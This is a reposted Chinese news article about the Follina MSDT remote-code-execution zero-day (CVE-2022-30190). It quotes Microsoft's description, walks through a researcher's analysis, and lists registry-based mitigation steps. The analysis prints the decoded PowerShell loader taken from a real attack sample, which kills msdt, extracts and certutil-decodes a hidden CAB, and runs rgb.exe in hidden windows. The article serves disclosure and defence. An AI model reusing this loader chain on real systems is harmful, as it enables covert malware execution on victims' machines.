Windows 高危 0day 漏洞:

Windows 的支持诊断工具 (Microsoft Windows Support Diagnostic Tool, MSDT) 被曝出存在高危的 0day 漏洞,代号 "Follina",可被用于在 Windows 系统中远程执行代码。

该漏洞最初由 Shadow Chaser Group 的研究人员于 4 月首次发现并报告给微软,并证明该漏洞已被黑客利用进行攻击。这名研究人员表示,微软最初将该漏洞标记为不是“与安全相关的问题”,但后来又以存在远程代码执行漏洞为由关闭了漏洞提交报告。因此,这个早已被发现的漏洞近日才被标上编号:CVE-2022-30190

微软对此漏洞的描述如下:

“当从 Word 等调用应用程序使用 URL 协议调用 MSDT 时,存在远程代码执行漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新帐户。”

根据研究员 Kevin Beaumont 的分析,包含攻击媒介的文档会使用 Word 从远程 Web 服务器检索 HTML 文件。然后,该文档使用 MSProtocol URI 方案来加载和执行 PowerShell 命令。虽然在理论上这不太可能实现,但事实上确实可以做到。当文档中的命令被解码时,它们会转换为:

$cmd ="c:\Windows\system32\cmd.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList"/c taskkill /f /im msdt.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList"/c cd C:\users\public\&&for /r

%temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

脚本的实现原理为:

在隐藏窗口运行以下操作

1. 如果 msdt.exe 正在运行,则终止它
2. 循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串
3. 将此 Base64 编码的 CAB 文件存储为 1.t
4. 解码 Base64 编码的 CAB 文件保存为 1.c
5. 将 1.c CAB 文件展开到当前目录,最后:
6. 执行 rgb.exe(大概压缩在 1.c CAB 文件里面)

目前微软尚未发布修复此漏洞的补丁,不过提供了缓解措施来禁用 MSDT URL 协议:

1. 以管理员身份运行命令提示符
2. 要备份注册表项,请执行命令“reg export HKEY_CLASSES_ROOT\ms-msdt filename”
3. 执行命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”

优秀的个人博客,低调大师

微信关注我们

原文链接:https://www.oschina.net/news/198181/windows-msdt-zero-day-now-exploited

转载内容版权归作者及来源网站所有!

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

相关文章

发表评论

资源下载

更多资源
优质分享Android(本站安卓app)

优质分享Android(本站安卓app)

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Mario,低调大师唯一一个Java游戏作品

Mario,低调大师唯一一个Java游戏作品

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Apache Tomcat7、8、9(Java Web服务器)

Apache Tomcat7、8、9(Java Web服务器)

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

Java Development Kit(Java开发工具)

Java Development Kit(Java开发工具)

JDK是 Java 语言的软件开发工具包,主要用于移动设备、嵌入式设备上的java应用程序。JDK是整个java开发的核心,它包含了JAVA的运行环境(JVM+Java系统类库)和JAVA工具。